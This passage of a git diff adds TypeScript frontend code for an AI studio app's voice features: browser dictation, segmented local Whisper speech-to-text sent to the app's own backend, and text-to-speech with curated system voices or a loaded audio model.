+  dictationEngine: DictationEngine = useVoiceSettingsStore.getState()
+    .dictationEngine,
+): boolean {
+  return StudioDictationAdapter.isSupported(dictationEngine);
+}
+
+/** Explain why dictation can't start and point the user to the local model. */
+export function notifyStudioDictationUnavailable(
+  dictationEngine: DictationEngine = useVoiceSettingsStore.getState()
+    .dictationEngine,
+): void {
+  // Both engines need a secure context (localhost or HTTPS).
+  if (typeof window !== "undefined" && !window.isSecureContext) {
+    toast.error("Voice typing needs a secure connection.", {
+      description:
+        "Open Studio at http://127.0.0.1 (localhost) or over HTTPS to dictate.",
+    });
+    return;
+  }
+  if (usesModelRecording(dictationEngine)) {
+    // Defensive: MediaRecorder is effectively always present here.
+    toast.error("Voice recording isn't available in this browser.");
+    return;
+  }
+  // Browser Web Speech is missing (e.g. Firefox). Stack text and button so the
+  // action sits below, not squeezed into a side column.
+  const toastId = toast.error("Voice typing isn't available in this browser.", {
+    description: (
+      <div className="mt-0.5 flex flex-col items-start gap-2 pb-1.5">
+        <span>
+          Choose the local speech-to-text model in Voice settings to dictate
+          here.
+        </span>
+        <button
+          type="button"
+          onClick={() => {
+            useSettingsDialogStore.getState().openDialog("voice");
+            toast.dismiss(toastId);
+          }}
+          className="rounded-full bg-foreground px-2.5 pt-1 pb-1.5 text-xs font-medium text-background transition-colors hover:bg-foreground/90"
+        >
+          Open Voice settings
+        </button>
+      </div>
+    ),
+  });
+}
diff --git a/studio/frontend/src/features/chat/adapters/studio-model-dictation-adapter.ts b/studio/frontend/src/features/chat/adapters/studio-model-dictation-adapter.ts
new file mode 100644
index 0000000000..8546e3eeab
--- /dev/null
+++ b/studio/frontend/src/features/chat/adapters/studio-model-dictation-adapter.ts
@@ -0,0 +1,637 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { hubTokenHeader } from "@/features/hub/lib/hub-token-header";
+import {
+  applyDictationDictionary,
+  isCuratedSttModel,
+  recordRecentDictation,
+  resolveModelDictationLanguage,
+  useVoiceSettingsStore,
+} from "@/features/settings/stores/voice-settings-store";
+import type { DictationAdapter } from "@assistant-ui/react";
+import { toast } from "sonner";
+import { startDictationLevelMeter } from "./dictation-level";
+import {
+  type StudioDictationSession,
+  isMissingDeviceError,
+  resolveDictationChatId,
+} from "./studio-web-speech-dictation-adapter";
+
+// Fine timeslice so the buffer is ready the moment a segment is cut or stopped.
+const SEGMENT_TIMESLICE_MS = 250;
+// Whisper pads input to 30s. Short dictation stays one clip; long dictation cuts
+// at the first pause after 20s or before the 30s boundary.
+const MIN_SEGMENT_MS = 20_000;
+const MAX_SEGMENT_MS = 28_000;
+const SILENCE_CUT_MS = 280;
+// Raw RMS (0..1) above which a frame counts as speech (well above the room floor
+// after noise suppression).
+const VOICE_RMS = 0.015;
+
+// Prefer Opus (small, widely supported); fall back to whatever the browser
+// records. The backend decodes any of these with PyAV.
+const PREFERRED_MIME_TYPES = [
+  "audio/webm;codecs=opus",
+  "audio/webm",
+  "audio/ogg;codecs=opus",
+  "audio/mp4",
+];
+
+function pickMimeType(): string | undefined {
+  if (typeof MediaRecorder === "undefined") return undefined;
+  for (const type of PREFERRED_MIME_TYPES) {
+    if (MediaRecorder.isTypeSupported(type)) return type;
+  }
+  return undefined;
+}
+
+const stopStream = (stream: MediaStream | null) => {
+  for (const track of stream?.getTracks() ?? []) {
+    track.stop();
+  }
+};
+
+/** Backend STT engine, decided by the model: curated ids run GGML through
+ * whisper.cpp; a custom HF repo is safetensors and runs through Transformers. */
+export type SttEngine = "transformers" | "gguf";
+
+export function sttEngineFor(model: string): SttEngine {
+  return isCuratedSttModel(model) ? "gguf" : "transformers";
+}
+
+/** POST audio to the STT sidecar and return the transcript. */
+export async function transcribeAudioBlob(
+  blob: Blob,
+  options: {
+    model?: string;
+    language?: string;
+    engine?: SttEngine;
+    signal?: AbortSignal;
+  } = {},
+): Promise<string> {
+  const settings = useVoiceSettingsStore.getState();
+  const model = options.model ?? settings.sttModel;
+  const language = resolveModelDictationLanguage(
+    model,
+    options.language ?? settings.dictationLanguage,
+  );
+  const engine = options.engine ?? sttEngineFor(model);
+  const params = new URLSearchParams({ model, fast: "true", engine });
+  if (language) params.set("language", language);
+  const response = await authFetch(
+    `/api/inference/audio/transcribe/raw?${params.toString()}`,
+    {
+      method: "POST",
+      headers: { "Content-Type": blob.type || "application/octet-stream" },
+      body: blob,
+      signal: options.signal,
+    },
+  );
+  if (!response.ok) {
+    const body = (await response.json().catch(() => null)) as {
+      detail?: string;
+    } | null;
+    const detail = body?.detail ?? `HTTP ${response.status}`;
+    if (response.status === 501) {
+      throw new Error(
+        "Speech-to-text is not available on this server. Run `unsloth studio update` to install it.",
+      );
+    }
+    throw new Error(detail);
+  }
+  const data = (await response.json()) as { text?: string };
+  return (data.text ?? "").trim();
+}
+
+export interface SttDownloadStatus {
+  downloading: boolean;
+  model: string | null;
+  error: string | null;
+  bytes_total: number | null;
+  bytes_done: number | null;
+}
+
+export interface SttEngineStatus {
+  available: boolean;
+  loaded_model: string | null;
+  loading: boolean;
+  device: string | null;
+  keep_alive_seconds: number;
+  default_model: string;
+  models: string[];
+  downloaded_models: string[];
+  download: SttDownloadStatus;
+}
+
+export interface SttStatus {
+  available: boolean;
+  loaded_model: string | null;
+  loading: boolean;
+  device: string | null;
+  keep_alive_seconds: number;
+  default_model: string;
+  models: string[];
+  /** Per-engine state; absent on servers predating the engine split. */
+  transformers?: SttEngineStatus;
+  gguf?: SttEngineStatus;
+}
+
+// Keep load/unload requests ordered so a new recording cannot race an unload
+// still finishing for the previous one.
+let sttLifecycle: Promise<void> = Promise.resolve();
+
+function queueSttLifecycle(operation: () => Promise<void>): Promise<void> {
+  const result = sttLifecycle.catch(() => {}).then(operation);
+  sttLifecycle = result.catch(() => {});
+  return result;
+}
+
+/** Report whether STT is installed and which model, if any, is resident.
+ * Passing a model extends the downloaded check to custom repos. */
+export async function fetchSttStatus(
+  refreshKey?: number,
+  model?: string,
+): Promise<SttStatus> {
+  const params = new URLSearchParams();
+  if (refreshKey !== undefined) params.set("refresh", String(refreshKey));
+  if (model) params.set("model", model);
+  const query = params.toString();
+  const response = await authFetch(
+    `/api/inference/audio/stt/status${query ? `?${query}` : ""}`,
+  );
+  if (!response.ok) throw new Error(`HTTP ${response.status}`);
+  return (await response.json()) as SttStatus;
+}
+
+/** Verify a custom Hub repository is a Transformers Whisper checkpoint. */
+export async function validateSttModel(
+  model: string,
+  hfToken?: string,
+): Promise<void> {
+  const response = await authFetch("/api/inference/audio/stt/validate", {
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      ...hubTokenHeader(hfToken),
+    },
+    body: JSON.stringify({ model }),
+  });
+  if (!response.ok) {
+    const body = (await response.json().catch(() => null)) as {
+      detail?: string;
+    } | null;
+    throw new Error(body?.detail ?? `HTTP ${response.status}`);
+  }
+}
+
+/** Load a selected model that is already downloaded. */
+export function loadSttModel(model: string, engine?: SttEngine): Promise<void> {
+  const resolvedEngine = engine ?? sttEngineFor(model);
+  return queueSttLifecycle(async () => {
+    const response = await authFetch("/api/inference/audio/stt/load", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ model, engine: resolvedEngine }),
+    });
+    if (!response.ok) {
+      const body = (await response.json().catch(() => null)) as {
+        detail?: string;
+      } | null;
+      throw new Error(body?.detail ?? `HTTP ${response.status}`);
+    }
+  });
+}
+
+/** Start a background download of a dictation model. */
+export async function startSttDownload(
+  model: string,
+  hfToken?: string,
+): Promise<void> {
+  const response = await authFetch("/api/inference/audio/stt/download", {
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      ...hubTokenHeader(hfToken),
+    },
+    body: JSON.stringify({ model, engine: sttEngineFor(model) }),
+  });
+  if (!response.ok) {
+    const body = (await response.json().catch(() => null)) as {
+      detail?: string;
+    } | null;
+    throw new Error(body?.detail ?? `HTTP ${response.status}`);
+  }
+}
+
+/** Release the local STT model and its RAM/VRAM allocations. */
+export function unloadSttModel(): Promise<void> {
+  return queueSttLifecycle(async () => {
+    const response = await authFetch("/api/inference/audio/stt/unload", {
+      method: "POST",
+    });
+    if (!response.ok) {
+      const body = (await response.json().catch(() => null)) as {
+        detail?: string;
+      } | null;
+      throw new Error(body?.detail ?? `HTTP ${response.status}`);
+    }
+  });
+}
+
+/**
+ * Local model dictation. Short recordings use one pass; long ones split near
+ * Whisper's 30s window. Confirm keeps text, discard removes it, and either
+ * releases the microphone immediately.
+ */
+export class StudioModelDictationAdapter implements DictationAdapter {
+  private readonly chatId: string | null | undefined;
+
+  constructor(options: { chatId?: string | null } = {}) {
+    this.chatId = options.chatId;
+  }
+
+  static isSupported(): boolean {
+    return (
+      typeof window !== "undefined" &&
+      window.isSecureContext &&
+      typeof MediaRecorder !== "undefined" &&
+      navigator.mediaDevices?.getUserMedia !== undefined
+    );
+  }
+
+  listen(): DictationAdapter.Session {
+    if (!StudioModelDictationAdapter.isSupported()) {
+      throw new Error("Recording is not supported in this browser.");
+    }
+
+    // Pin the model, language, and linked chat chosen when recording began, so a
+    // mid-session settings change or thread switch cannot affect later segments
+    // or relink the saved transcript.
+    const { sttModel: sessionModel, dictationLanguage } =
+      useVoiceSettingsStore.getState();
+    const sessionLanguage = resolveModelDictationLanguage(
+      sessionModel,
+      dictationLanguage,
+    );
+    const sessionEngine = sttEngineFor(sessionModel);
+    const sessionChatId = resolveDictationChatId(this.chatId);
+
+    const speechStartCallbacks = new Set<() => void>();
+    const speechEndCallbacks = new Set<
+      (result: DictationAdapter.Result) => void
+    >();
+    const speechCallbacks = new Set<
+      (result: DictationAdapter.Result) => void
+    >();
+    const endCallbacks = new Set<() => void>();
+
+    let stream: MediaStream | null = null;
+    let ended = false;
+    let cancelled = false;
+    let finalizing = false;
+    const abortController = new AbortController();
+    const mimeType = pickMimeType();
+    // Shared waveform meter also feeds this adapter's pause detector.
+    let stopLevelMeter = () => {
+      // Replaced after microphone access succeeds.
+    };
+    let onAudioFrame: (rawRms: number, now: number) => void = () => {};
+
+    let resolveEnded: (() => void) | null = null;
+    const endedPromise = new Promise<void>((resolve) => {
+      resolveEnded = resolve;
+    });
+
+    // --- Background transcription pipeline ---------------------------------
+    // Each segment is a self-contained clip transcribed on its own; results are
+    // stored by index so the final text keeps its order.
+    type Segment = {
+      index: number;
+      chunks: Blob[];
+      startedAt: number;
+      voiced: boolean;
+      recorder: MediaRecorder;
+    };
+    const results: string[] = [];
+    const queue: { index: number; blob: Blob }[] = [];
+    let worker = false;
+    let currentSeg: Segment | null = null;
+    let segCounter = 0;
+    let pendingRecorders = 0;
+    let silenceMs = 0;
+    let lastFrameAt = 0;
+    let cutting = false;
+    let finalCutDone = false;
+    let reportedTranscriptionError = false;
+
+    const reportTranscriptionError = (error: unknown) => {
+      if (reportedTranscriptionError || cancelled || ended) return;
+      reportedTranscriptionError = true;
+      const message =
+        error instanceof Error && error.message
+          ? error.message
+          : "A recorded segment could not be transcribed.";
+      console.error("STT transcription error:", error);
+      toast.error(message);
+    };
+
+    const buildTranscript = () =>
+      results
+        .filter((part) => part?.trim())
+        .join(" ")
+        .trim();
+
+    const finishSession = (
+      reason: "stopped" | "cancelled" | "error",
+      transcript?: string,
+    ) => {
+      if (ended) return;
+      ended = true;
+      stopLevelMeter();
+      if (currentSeg && currentSeg.recorder.state !== "inactive") {
+        try {
+          currentSeg.recorder.stop();
+        } catch {
+          // ignore
+        }
+      }
+      session.status = { type: "ended", reason };
+      stopStream(stream);
+      stream = null;
+      const corrected = transcript ? applyDictationDictionary(transcript) : "";
+      if (reason !== "cancelled" && corrected) {
+        for (const callback of speechCallbacks) {
+          callback({ transcript: corrected, isFinal: true });
+        }
+        recordRecentDictation(corrected, sessionChatId);
+      }
+      for (const callback of speechEndCallbacks) {
+        callback({ transcript: corrected });
+      }
+      for (const callback of endCallbacks) callback();
+      resolveEnded?.();
+    };
+
+    // Finish once the final segment has been cut and the queue has drained.
+    const maybeComplete = () => {
+      if (ended || cancelled || !finalizing || !finalCutDone) return;
+      if (pendingRecorders === 0 && queue.length === 0 && !worker) {
+        finishSession("stopped", buildTranscript());
+      }
+    };
+
+    // Transcribe queued segments one at a time so the backend is never flooded.
+    const processQueue = () => {
+      if (worker || cancelled || ended) return;
+      const item = queue.shift();
+      if (!item) {
+        maybeComplete();
+        return;
+      }
+      worker = true;
+      void (async () => {
+        try {
+          const text = await transcribeAudioBlob(item.blob, {
+            model: sessionModel,
+            language: sessionLanguage,
+            engine: sessionEngine,
+            signal: abortController.signal,
+          });
+          if (!cancelled) results[item.index] = text;
+        } catch (error) {
+          if (!cancelled && !abortController.signal.aborted) {
+            // Keep transcribed segments, but never hide that part was lost.
+            reportTranscriptionError(error);
+          }
+        } finally {
+          worker = false;
+          processQueue();
+        }
+      })();
+    };
+
+    // Every non-empty recording is transcribed. The RMS meter only shapes
+    // segment boundaries; a quiet microphone or suspended AudioContext can keep
+    // it below VOICE_RMS for real speech, so it must never discard audio.
+    // Whisper returns an empty transcript for genuine silence.
+    const enqueueSegment = (index: number, blob: Blob) => {
+      if (blob.size > 0) {
+        queue.push({ index, blob });
+        processQueue();
+      } else {
+        results[index] = "";
+        maybeComplete();
+      }
+    };
+
+    // Start recording a fresh segment on the shared mic stream.
+    const startSegment = () => {
+      if (ended || cancelled || !stream) return;
+      const seg: Segment = {
+        index: segCounter++,
+        chunks: [],
+        startedAt: performance.now(),
+        voiced: false,
+        recorder: new MediaRecorder(
+          stream,
+          mimeType ? { mimeType } : undefined,
+        ),
+      };
+      currentSeg = seg;
+      silenceMs = 0;
+      seg.recorder.addEventListener("dataavailable", (event) => {
+        if (event.data.size > 0) seg.chunks.push(event.data);
+      });
+      seg.recorder.addEventListener("stop", () => {
+        pendingRecorders = Math.max(0, pendingRecorders - 1);
+        if (cancelled || ended) {
+          maybeComplete();
+          return;
+        }
+        const blob = new Blob(seg.chunks, {
+          type: seg.recorder.mimeType || "audio/webm",
+        });
+        enqueueSegment(seg.index, blob);
+      });
+      pendingRecorders += 1;
+      try {
+        seg.recorder.start(SEGMENT_TIMESLICE_MS);
+      } catch (error) {
+        pendingRecorders = Math.max(0, pendingRecorders - 1);
+        if (currentSeg === seg) currentSeg = null;
+        throw error;
+      }
+    };
+
+    // Close the current segment at a pause and open the next, so recording stays
+    // continuous while each clip is independently decodable.
+    const cutSegment = () => {
+      const seg = currentSeg;
+      if (cutting || !seg || finalizing) return;
+      cutting = true;
+      const rec = seg.recorder;
+      if (rec.state !== "inactive") {
+        rec.addEventListener(
+          "stop",
+          () => {
+            cutting = false;
+          },
+          { once: true },
+        );
+        try {
+          rec.stop();
+        } catch {
+          cutting = false;
+        }
+      } else {
+        cutting = false;
+      }
+      startSegment();
+    };
+
+    // Pause detector: mark voiced frames. Short dictations stay one segment; long
+    // ones cut at a pause after the target duration, or at the hard limit.
+    onAudioFrame = (rawRms, now) => {
+      const seg = currentSeg;
+      if (!seg || finalizing) {
+        lastFrameAt = now;
+        return;
+      }
+      if (rawRms > VOICE_RMS) {
+        seg.voiced = true;
+        silenceMs = 0;
+      } else if (lastFrameAt) {
+        silenceMs += now - lastFrameAt;
+      }
+      lastFrameAt = now;
+      const duration = now - seg.startedAt;
+      const pauseBreak =
+        seg.voiced && duration > MIN_SEGMENT_MS && silenceMs > SILENCE_CUT_MS;
+      if (!cutting && (pauseBreak || duration > MAX_SEGMENT_MS)) {
+        cutSegment();
+      }
+    };
+
+    const session: StudioDictationSession = {
+      status: { type: "starting" },
+      stop: async () => {
+        if (!ended && !finalizing) {
+          finalizing = true;
+          // Stop publishing zero-valued frames at once so the UI can switch to
+          // its transcription shimmer.
+          stopLevelMeter();
+          const seg = currentSeg;
+          // Cut the final segment (its buffer survives) so only the short tail is
+          // left to transcribe, then release the mic immediately.
+          if (seg && seg.recorder.state !== "inactive") {
+            seg.recorder.addEventListener(
+              "stop",
+              () => {
+                finalCutDone = true;
+                maybeComplete();
+              },
+              { once: true },
+            );
+            try {
+              seg.recorder.stop();
+            } catch {
+              finalCutDone = true;
+              maybeComplete();
+            }
+          } else {
+            finalCutDone = true;
+            maybeComplete();
+          }
+          stopStream(stream);
+          stream = null;
+        }
+        await endedPromise;
+      },
+      cancel: () => {
+        if (ended) return;
+        cancelled = true;
+        finalizing = true;
+        abortController.abort();
+        finishSession("cancelled");
+      },
+      onSpeechStart: (callback) => {
+        speechStartCallbacks.add(callback);
+        return () => {
+          speechStartCallbacks.delete(callback);
+        };
+      },
+      onSpeechEnd: (callback) => {
+        speechEndCallbacks.add(callback);
+        return () => {
+          speechEndCallbacks.delete(callback);
+        };
+      },
+      onSpeech: (callback) => {
+        speechCallbacks.add(callback);
+        return () => {
+          speechCallbacks.delete(callback);
+        };
+      },
+      onEnd: (callback: () => void) => {
+        endCallbacks.add(callback);
+        return () => {
+          endCallbacks.delete(callback);
+        };
+      },
+    };
+
+    void (async () => {
+      try {
+        const { micDeviceId } = useVoiceSettingsStore.getState();
+        const baseAudio: MediaTrackConstraints = {
+          echoCancellation: true,
+          noiseSuppression: true,
+        };
+        try {
+          stream = await navigator.mediaDevices.getUserMedia({
+            audio:
+              micDeviceId && micDeviceId !== "default"
+                ? { ...baseAudio, deviceId: { exact: micDeviceId } }
+                : baseAudio,
+          });
+        } catch (error) {
+          // Saved mic may be unplugged; fall back to the default.
+          if (micDeviceId !== "default" && isMissingDeviceError(error)) {
+            stream = await navigator.mediaDevices.getUserMedia({
+              audio: baseAudio,
+            });
+          } else {
+            throw error;
+          }
+        }
+        if (ended || cancelled) {
+          stopStream(stream);
+          stream = null;
+          return;
+        }
+        // Warm the model only after mic access. The backend loads cache-only
+        // and never downloads here.
+        void loadSttModel(sessionModel, sessionEngine).catch(
+          reportTranscriptionError,
+        );
+        stopLevelMeter = startDictationLevelMeter(stream, (rawRms, now) => {
+          onAudioFrame(rawRms, now);
+        });
+        startSegment();
+        session.status = { type: "running" };
+        for (const callback of speechStartCallbacks) callback();
+      } catch (error) {
+        const message = isMissingDeviceError(error)
+          ? "No microphone was found for dictation."
+          : "Dictation could not access the microphone.";
+        console.error("STT microphone error:", error);
+        toast.error(message);
+        finishSession("error");
+      }
+    })();
+
+    return session;
+  }
+}
diff --git a/studio/frontend/src/features/chat/adapters/studio-speech-synthesis-adapter.ts b/studio/frontend/src/features/chat/adapters/studio-speech-synthesis-adapter.ts
new file mode 100644
index 0000000000..3a5042f61d
--- /dev/null
+++ b/studio/frontend/src/features/chat/adapters/studio-speech-synthesis-adapter.ts
@@ -0,0 +1,418 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { useVoiceSettingsStore } from "@/features/settings/stores/voice-settings-store";
+import { toast } from "@/lib/toast";
+import type { SpeechSynthesisAdapter } from "@assistant-ui/react";
+
+/** Voice for a stored voiceURI. "default" resolves to the voice the platform
+ * marks as its default, so the "System default" choice means what it says
+ * instead of falling back to a curated pick. Undefined lets the browser pick. */
+export function findTtsVoice(
+  voiceURI: string,
+): SpeechSynthesisVoice | undefined {
+  if (typeof window === "undefined" || !window.speechSynthesis) {
+    return undefined;
+  }
+  if (!voiceURI) return undefined;
+  const voices = window.speechSynthesis.getVoices();
+  if (voiceURI === "default") return voices.find((voice) => voice.default);
+  return voices.find((voice) => voice.voiceURI === voiceURI);
+}
+
+// macOS novelty and legacy Eloquence voices that sound robotic and flood the picker.
+const LOW_QUALITY_VOICE_NAMES = new Set([
+  "albert",
+  "bad news",
+  "bahh",
+  "bells",
+  "boing",
+  "bubbles",
+  "cellos",
+  "deranged",
+  "eddy",
+  "flo",
+  "fred",
+  "good news",
+  "grandma",
+  "grandpa",
+  "hysterical",
+  "jester",
+  "junior",
+  "kathy",
+  "organ",
+  "princess",
+  "ralph",
+  "reed",
+  "rocko",
+  "sandy",
+  "shelley",
+  "superstar",
+  "trinoids",
+  "whisper",
+  "wobble",
+  "zarvox",
+]);
+
+function voiceBaseName(voice: SpeechSynthesisVoice): string {
+  // "Eddy (English (US))" -> "eddy"; "Bad News" -> "bad news"
+  const name = voice.name.split("(")[0]?.trim().toLowerCase() ?? "";
+  return name;
+}
+
+// Well-known natural English voices, best first. Breaks ties when the name
+// carries no quality hint, so basic voices are not just alphabetical.
+const PREFERRED_VOICE_NAMES = [
+  "samantha",
+  "alex",
+  "ava",
+  "allison",
+  "susan",
+  "tom",
+  "daniel",
+  "serena",
+  "karen",
+  "moira",
+  "tessa",
+  "fiona",
+];
+
+// Quality tier from vendor hints in the voice name.
+function voiceQualityScore(voice: SpeechSynthesisVoice): number {
+  const name = voice.name.toLowerCase();
+  let score = 0;
+  if (name.includes("premium")) score += 100;
+  if (name.includes("siri")) score += 90;
+  if (name.includes("enhanced")) score += 80;
+  if (name.includes("natural") || name.includes("neural")) score += 70;
+  if (name.includes("google")) score += 40;
+  if (name.includes("microsoft")) score += 30;
+  return score;
+}
+
+// Higher for voices in the user's exact region, then the same language.
+function voiceLocaleScore(voice: SpeechSynthesisVoice): number {
+  const navLang =
+    typeof navigator !== "undefined" && navigator.language
+      ? navigator.language.toLowerCase()
+      : "en-us";
+  const lang = voice.lang.toLowerCase().replace("_", "-");
+  if (lang === navLang) return 2;
+  if (langBase(lang) === langBase(navLang)) return 1;
+  return 0;
+}
+
+// Rank in the preferred list, best first; 0 when the voice is not listed.
+function voicePreferredRank(voice: SpeechSynthesisVoice): number {
+  const index = PREFERRED_VOICE_NAMES.indexOf(voiceBaseName(voice));
+  return index === -1 ? 0 : PREFERRED_VOICE_NAMES.length - index;
+}
+
+function langBase(tag: string): string {
+  return tag.toLowerCase().split(/[-_]/)[0] ?? "";
+}
+
+const MAX_CURATED_VOICES = 20;
+
+/**
+ * Keep the best, most relevant voices: drop low-quality ones, keep English,
+ * the browser language, and the dictation language, rank by quality hints,
+ * and cap the list. The selected voice is always kept.
+ */
+export function curateSystemVoices(
+  voices: SpeechSynthesisVoice[],
+  selectedVoiceURI?: string,
+  dictationLanguage = useVoiceSettingsStore.getState().dictationLanguage,
+): SpeechSynthesisVoice[] {
+  const wantedLangs = new Set<string>(["en"]);
+  if (typeof navigator !== "undefined" && navigator.language) {
+    wantedLangs.add(langBase(navigator.language));
+  }
+  if (dictationLanguage && dictationLanguage !== "auto") {
+    wantedLangs.add(langBase(dictationLanguage));
+  }
+
+  // WebKit and Linux engines report voices with empty or duplicate voiceURIs;
+  // drop them so the Radix Select never gets an empty or colliding value.
+  const seenVoiceURIs = new Set<string>();
+  const kept = voices.filter((voice) => {
+    if (!voice.voiceURI || seenVoiceURIs.has(voice.voiceURI)) return false;
+    seenVoiceURIs.add(voice.voiceURI);
+    if (LOW_QUALITY_VOICE_NAMES.has(voiceBaseName(voice))) return false;
+    return wantedLangs.has(langBase(voice.lang));
+  });
+
+  kept.sort((a, b) => {
+    const quality = voiceQualityScore(b) - voiceQualityScore(a);
+    if (quality !== 0) return quality;
+    const locale = voiceLocaleScore(b) - voiceLocaleScore(a);
+    if (locale !== 0) return locale;
+    const preferred = voicePreferredRank(b) - voicePreferredRank(a);
+    if (preferred !== 0) return preferred;
+    const byDefault = Number(b.default) - Number(a.default);
+    if (byDefault !== 0) return byDefault;
+    return a.name.localeCompare(b.name);
+  });
+
+  // macOS reports some voices twice (compact + enhanced) under one name. Keep
+  // one per name and language, preferring the selected voice then the best
+  // ranked, so no duplicates show.
+  const keyOf = (voice: SpeechSynthesisVoice) =>
+    `${voiceBaseName(voice)}|${voice.lang.toLowerCase()}`;
+  const winners = new Map<string, string>();
+  for (const voice of kept) {
+    const key = keyOf(voice);
+    if (!winners.has(key)) winners.set(key, voice.voiceURI);
+    if (voice.voiceURI === selectedVoiceURI) winners.set(key, voice.voiceURI);
+  }
+  const deduped = kept.filter(
+    (voice) => winners.get(keyOf(voice)) === voice.voiceURI,
+  );
+
+  const curated = deduped.slice(0, MAX_CURATED_VOICES);
+  if (
+    selectedVoiceURI &&
+    selectedVoiceURI !== "default" &&
+    !curated.some((voice) => voice.voiceURI === selectedVoiceURI)
+  ) {
+    const selected = voices.find(
+      (voice) => voice.voiceURI === selectedVoiceURI,
+    );
+    if (selected) curated.push(selected);
+  }
+  return curated;
+}
+
+/**
+ * Best voice when none is chosen. The browser default on macOS is often a
+ * robotic legacy voice, so fall back to the top curated voice instead.
+ */
+function defaultTtsVoice(): SpeechSynthesisVoice | undefined {
+  if (typeof window === "undefined" || !window.speechSynthesis) {
+    return undefined;
+  }
+  const voices = window.speechSynthesis.getVoices();
+  return (
+    curateSystemVoices(voices)[0] ??
+    voices.find((voice) => voice.default) ??
+    voices[0]
+  );
+}
+
+/** Build an utterance from the current Voice settings. */
+export function createConfiguredUtterance(
+  text: string,
+): SpeechSynthesisUtterance {
+  const { ttsVoiceURI, ttsRate, ttsPitch, ttsVolume } =
+    useVoiceSettingsStore.getState();
+  const utterance = new SpeechSynthesisUtterance(text);
+  const voice = findTtsVoice(ttsVoiceURI) ?? defaultTtsVoice();
+  if (voice) {
+    utterance.voice = voice;
+    utterance.lang = voice.lang;
+  }
+  utterance.rate = ttsRate;
+  utterance.pitch = ttsPitch;
+  utterance.volume = ttsVolume;
+  return utterance;
+}
+
+/** Generate speech via the loaded TTS audio model; returns a WAV data URL. */
+export async function generateStudioTtsAudio(
+  text: string,
+  signal?: AbortSignal,
+): Promise<string> {
+  const response = await authFetch("/api/inference/audio/generate", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      messages: [{ role: "user", content: text }],
+      stream: false,
+    }),
+    signal,
+  });
+  if (!response.ok) {
+    const body = (await response.json().catch(() => null)) as {
+      detail?: string;
+    } | null;
+    const detail = body?.detail ?? `HTTP ${response.status}`;
+    if (/no model loaded|not an audio model/i.test(detail)) {
+      throw new Error(
+        "No TTS model is loaded. Load an audio model (e.g. Orpheus TTS) from the model selector, then try again.",
+      );
+    }
+    throw new Error(detail);
+  }
+  const data = (await response.json()) as { audio?: { data?: string } };
+  if (!data.audio?.data) {
+    throw new Error("The TTS model returned no audio.");
+  }
+  return `data:audio/wav;base64,${data.audio.data}`;
+}
+
+function speakWithStudioModel(
+  text: string,
+  handleEnd: (
+    reason: "finished" | "error" | "cancelled",
+    error?: unknown,
+  ) => void,
+  markRunning: () => void,
+): { cancel: () => void } {
+  const { ttsRate, ttsVolume } = useVoiceSettingsStore.getState();
+  const controller = new AbortController();
+  let audio: HTMLAudioElement | null = null;
+  let cancelled = false;
+
+  // Release the element and its multi-MB WAV data URL as soon as playback ends.
+  const cleanup = () => {
+    if (audio) {
+      audio.pause();
+      audio.removeAttribute("src");
+      audio = null;
+    }
+  };
+
+  void (async () => {
+    try {
+      const url = await generateStudioTtsAudio(text, controller.signal);
+      if (cancelled) return;
+      audio = new Audio(url);
+      audio.playbackRate = ttsRate;
+      audio.volume = ttsVolume;
+      // Some browsers reset playbackRate to 1 once the source loads; reapply
+      // it on loadedmetadata so the speed setting reliably takes effect.
+      audio.addEventListener("loadedmetadata", () => {
+        if (audio) audio.playbackRate = ttsRate;
+      });
+      audio.addEventListener("ended", () => {
+        cleanup();
+        handleEnd("finished");
+      });
+      audio.addEventListener("error", () => {
+        if (cancelled) return;
+        cleanup();
+        handleEnd("error", new Error("Audio playback failed."));
+      });
+      markRunning();
+      await audio.play();
+    } catch (error) {
+      if (cancelled || controller.signal.aborted) return;
+      cleanup();
+      handleEnd("error", error);
+    }
+  })();
+
+  return {
+    cancel: () => {
+      cancelled = true;
+      controller.abort();
+      cleanup();
+      handleEnd("cancelled");
+    },
+  };
+}
+
+/**
+ * Text-to-speech for assistant messages. Reads Voice settings at speak time.
+ * Engines: "system" (speechSynthesis) or "studio" (loaded TTS audio model).
+ */
+export class StudioSpeechSynthesisAdapter implements SpeechSynthesisAdapter {
+  /** Web Speech synthesis, used by the "system" engine. */
+  static systemVoicesSupported(): boolean {
+    return (
+      typeof window !== "undefined" &&
+      "speechSynthesis" in window &&
+      typeof window.SpeechSynthesisUtterance !== "undefined"
+    );
+  }
+
+  // The "studio" engine only needs fetch + Audio playback, so a WebView
+  // without Web Speech synthesis can still read aloud through the backend.
+  static isSupported(): boolean {
+    return (
+      StudioSpeechSynthesisAdapter.systemVoicesSupported() ||
+      (typeof window !== "undefined" && typeof window.Audio !== "undefined")
+    );
+  }
+
+  speak(text: string): SpeechSynthesisAdapter.Utterance {
+    const subscribers = new Set<() => void>();
+
+    const handleEnd = (
+      reason: "finished" | "error" | "cancelled",
+      error?: unknown,
+    ) => {
+      if (res.status.type === "ended") return;
+      // Surface genuine read-aloud failures; a cancelled/interrupted utterance
+      // is a normal stop, not an error, and must not toast.
+      if (
+        reason === "error" &&
+        error !== "interrupted" &&
+        error !== "canceled"
+      ) {
+        toast.error(
+          error instanceof Error ? error.message : "Read aloud failed.",
+        );
+      }
+      res.status = { type: "ended", reason, error };
+      for (const handler of subscribers) handler();
+    };
+
+    let cancelImpl: () => void;
+    const { ttsEngine } = useVoiceSettingsStore.getState();
+
+    const res: SpeechSynthesisAdapter.Utterance = {
+      status: { type: "starting" },
+      cancel: () => cancelImpl(),
+      subscribe: (callback) => {
+        if (res.status.type === "ended") {
+          let cancelled = false;
+          queueMicrotask(() => {
+            if (!cancelled) callback();
+          });
+          return () => {
+            cancelled = true;
+          };
+        }
+        subscribers.add(callback);
+        return () => {
+          subscribers.delete(callback);
+        };
+      },
+    };
+
+    // Fall back to the backend model when the runtime lacks Web Speech
+    // synthesis (e.g. an audio-only WebView), so read-aloud still works.
+    if (
